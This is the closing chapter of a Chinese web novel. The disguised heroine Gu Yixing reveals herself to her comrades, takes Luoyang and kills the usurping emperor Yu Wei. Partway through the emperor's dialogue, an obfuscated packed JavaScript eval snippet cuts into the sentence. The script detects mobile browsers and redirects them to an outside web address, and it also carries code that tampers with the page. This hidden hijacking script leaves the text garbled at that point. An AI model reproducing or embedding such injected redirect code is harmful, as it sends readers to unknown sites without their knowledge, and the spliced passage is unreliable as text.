孤弈行望着不远处的篝火,怅然一笑:“我在想这些年,我好像是为了复仇,为了弥补我内心的愧疚而活着。这一天我等了很久,但当它快要到来的时候,我突然又有一些不知所措。” 声声入耳,言煜心头泛起一阵酸涩,他下意识揽住孤弈行的肩膀,让她靠着自己。 “你做得很好了,不用再苛责自己什么,如果他们都还活着肯定也不会怪你的。” 孤弈行眼眶不自觉微红。 “这最后一步,就让我和你一起走吧。”言煜微微低头看着孤弈行,“不论结果如何,我都与你一起面对。” 孤弈行心头一软,勾唇轻笑,看着言煜的眼睛:“谢谢你,言煜。” “我记得我还欠你一个约,等到所有事情了解之后,我会赴这个约的。”孤弈行勾唇一笑。 话音未落,言煜脑海中不禁想起很久之前他与她之间的一个约定,他本以为记住的只有他自己,却没想到她也记得这般清楚,一直放在心里。 他低头望着她的笑颜,情不自禁地轻吻上她的唇瓣。 孤弈行起先微愣,随即很快反应过来环住他的脖颈,回应他的吻。 “或许我还可以为了别的而活。”孤弈行勾了勾唇。 “为了什么?”言煜在她耳畔轻语,眼神似水道尽了温柔。 “为了天下,为了你……”孤弈行牵着他的手恣意一笑,“也为了……我自己。” 言煜微愣,随即笑着点了点头抱住了她,二人相拥。 “元帅……元……” 就在此时,沈离松,孟启,鲍哥,谈胜一行人走了过来微微愣住,随即都很自觉地转过身去。 孤弈行无奈地笑着摇了摇头,松开手与言煜对视一笑:“都面壁思过呢?转过来。” 话音未落,一行人齐刷刷地转了过来,站得一个比一个直。 “都坐。”孤弈行笑了笑。 言罢众人坐下。 “老鲍老胡你们来得正好,我正好有事要同你们商量。”孤弈行似是想到了什么,眼神微沉,语气不似玩笑。 “元帅有什么吩咐尽管说!我们兄弟都听你的!”老鲍见状一拍大腿,爽快道。 “这次不是吩咐,是商量。”孤弈行深吸了一口气,“眼下双关已然收复,匈奴王城也已破,你们有什么打算?” 胡永刚不明所以:“我们的打算就是一直跟着元帅。” “老胡说得对!我们是出生入死的兄弟,自然要一直在一起!”老鲍应道。 声声入耳,孤弈行眼眶微红。 “正因为是出生入死的兄弟,我才不能瞒你们,你们跟着我只会有危险,因为我还有一件事要去做,而一不留神可能会没命。” “我们不怕死,不过元帅想要做什么?” 胡永刚察觉到一丝不对,他环顾四周,见沈离松,潭胜几人都低着头一脸淡定,心中顿时有了一番猜想。 他知这位沈离松是当年祁国大将,也就是祁国女王的旧部。而相传当年祁国大将共有三位,除了当今圣上和这位沈将军,还有一位姓孟名启,而身旁这位原南风寨寨主就刚好姓孟! 而这两位从始至终都唯面前女子是从,天下不会有这么巧的事,只有一种可能……胡永刚陡然醒悟。 “元帅……你……”胡永刚抬眸。 “你猜对了,我不是洛川。”孤弈行怅然一笑,毫不掩饰,“我姓孤,名弈行。” 鲍大海不成想与自己曾经朝夕相处,并肩作战的洛川竟就是当年一统天下的凤希帝孤弈行! “洛……洛洛姐姐……”小默也难以置信。 “五年前我率军在青川峡谷与匈奴一战,手下喻威勾结外敌,背叛于我,我身中涣神散后被峨眉掌门素朝英和其妹千衣前辈所救,之后隐姓埋名潜藏蛰伏,为的就是收复双关,攻破匈奴,最终为当年在青川一役中牺牲的弟兄复仇,拿回属于我的东西。” 孤弈行眼神坚毅,勾了勾唇:“所以如果你们继续跟着我,万一我输了,你们便会性命不保。我没有退路,但我希望你们有。 “这个时候带着弟兄们离开还来得及,一旦出了匈奴王城,兵临洛阳城下,便一切都晚了。” 孤弈行见胡永刚定了定神,本以为他会转身离开,却不成想他只是欠身行了一礼:“喻威不仁,致使万民受苦,若非王上,我们早在幽州可能就死了,胡永刚愿誓死追随网上,助王上一臂之力!” “我老鲍也是!”鲍大海热泪盈眶,“说好了同生共死,便不能食言!” “洛洛姐姐……哦不……孤孤姐姐我也……也是。”小默道。 越来越多的声音萦绕在孤弈行耳畔,孤弈行眼眶湿润,却强忍着没有落泪。 她毅然决然地撕下人皮面具,拿起一边盛满酒的陶碗,随即起身,望着面前众人:“我孤弈行定不负诸位所托,定一举夺下洛阳,保你们平安,要他喻威狗命!” 言罢孤弈行将碗中琼浆一饮而尽,随后用力摔碎陶碗。 “我等愿助王上夺下洛阳!同生共死在所不辞!”众人也都将拿起陶碗,将酒一饮而尽,随后重重将碗摔碎。 “明日启程!”孤弈行望着洛阳的方向。 “是!” 次日,孤弈行率军向洛阳行军,期间途径祁州与华澜以孤氏私印召集的凤字军和横云军会合,大军继续浩浩荡荡往洛阳而去。 另一边洛阳御书房,喻威在前几日便已听闻洛川成功收复双关,又一举夺下匈奴王城,明明是应该高兴的好事,可他却始终辗转难眠。 “洛元帅已收复双关,又夺下匈奴王城,陛下为何还心有不安?”张若茂给喻威捶背道。 “你说……她真的只是洛川吗?”喻威眉头紧皱,脸色有些苍白。 “陛下的意思是说……”张若茂顿时明白过来,不敢多说一句。 “她早就死了,希望是朕想错了吧。”喻威深吸了一口气,眼底却有杀意弥漫,“但无论她是不是洛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138365|158857||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 川,她都得死。” 声声入耳,张若茂双手动作一滞。这些年来,他一直深知这位圣上杀伐果断,但他的猜忌心之重却每次都能出乎他的预料。 到底是功高震主……有在高的功绩又如何,还不是换得一死……张若茂倒吸了一口冷气。 五日后,孤弈行率军兵临洛阳城下。孤弈行没有急着宣战,而是伪装成无事发生率军回朝的模样行进。 待临近护城河之时,孤弈行望见城墙上立着的那人的身影,正是贾钊。 “贾兄,麻烦开城门让兄弟们进城。”孤弈行道。 贾钊死死地盯着孤弈行,似笑非笑,对孤弈行所言置若罔闻:“洛将军,要怪只能怪你命不好,可别怪我。” 下一秒,贾钊斩钉截铁喝道:“收起吊桥!” 孤弈行见贾钊神色便觉有些不对,看来喻威又要行鸟尽弓藏的行径。她见吊桥微微抬起,心知若大军被困于护城河外,不要妄想拿下洛阳,将会被射杀昏死在此处。 她一时顾不上太多,扬起长鞭重重抽打马背,马儿吃痛便径直朝着吊桥一跃而起。 眼看着吊桥已然抬起一小部分悬在空中,孤弈行的马匹却凌空一跃生生跳上吊桥,用自身重量将吊桥再次压下。 而另一边,控制吊桥升降的士兵被巨大的力道一震,都坚持不住踉跄几步倒在地上。 言煜松了一口气。 “众将士随我入城!”孤弈行高声喝道。 “是!” 御书房。 喻威着一身明黄色龙袍倚在龙椅上,右手抬起轻揉太阳穴,心思沉重。 他已命贾钊将洛川等人拦在护城河外,算算时间贾钊应该派人回来复命了。 “皇……皇上……”有个小太监急匆匆跑入御书房,还生生被门槛绊倒在地。 张若茂看自家小徒弟如此慌张,实在是恨铁不成钢,道:“我平时都是怎么教你的?陛下面前不可失了礼数。” 小太监定了定神,走到喻威身前。 “何事如此惊慌?”喻威睁开双眼。 “骠骑将军……哦不……洛川率军攻入城了,眼下快到皇宫了。” 声声入耳,喻威眼眸阴沉:“贾钊呢?” “死……死了……”小太监声音颤抖。 “一群废物!”喻威拍案而起,眼底皆是怒色,止不住地咆哮着,“命令陶广务必守好皇宫!” 喻威知对方有备而来,此战已败,俗话说留得青山在不怕没柴烧,他早年就在皇宫修了密道,此刻正好派上用场。 然则话音未落,他便见禁闭的御书房门外掠过一阵刀光剑影,手起刀落,鲜血将窗户纸染红。 孤弈行踹门而入。 “陛下还想逃到哪儿去啊?” 喻威眼神闪过一丝慌乱,随即突然明白过来:“陶广……他是……” “他不是我的人。”孤弈行勾了勾唇,“只不过他的旧主里有我的人。” 喻威低眉:“韩嵩……” “还不算太傻,但晚了。” “你不是洛川。”喻威咬牙切齿,面露狰狞。 孤弈行扬眉一笑,眼神蕴藏杀意:“我自然不只是洛川,我是落川之故人。” 言罢,孤弈行撕下人皮面具扔在地上,露出蕴藏风流的桃花眼和凌厉的剑眉。 喻威的眼睛死死地盯着孤弈行,声音沙哑,夹杂着些歇斯底里的意味:“孤弈行……” “喻威,众叛亲离的滋味如何?”孤弈行挑了挑眉,随即手持仗天向喻威刺去。 喻威躲避不及,便一把拉过身边的张若茂挡在自己身前,孤弈行长剑直直刺入张若茂胸口,张若茂瞪着眼睛当场毙命。 孤弈行见喻威要逃,径直拦住他的去路,喻威抽出龙椅边藏着的长剑与之相抗。 孤弈行出招速度极快,且招式凌厉可谓是招招致命,喻威很快便疲软下来,两只手臂上遍布伤口。 “看来这些年你过得实在悠闲,骨头都浸软了。”孤弈行冷笑。 喻威口吐鲜血,身体摇晃。 孤弈行手起刀落,长剑上鲜血四溢,一直滴落在地板上。 喻威感觉到脖颈上有温热液体流出,抬手轻触见手上染满鲜血,他径直倒了下去,身体抽搐奄奄一息,眼睛却依旧死死盯着孤弈行和言煜。 “那天你问我可还记得她的样子,现在我可以告诉你。”言煜俯视喻威,“我一刻都未忘记。” 孤弈行背过身,望着面前的紫禁城。 “我孤弈行,回来了。” 正文,完结。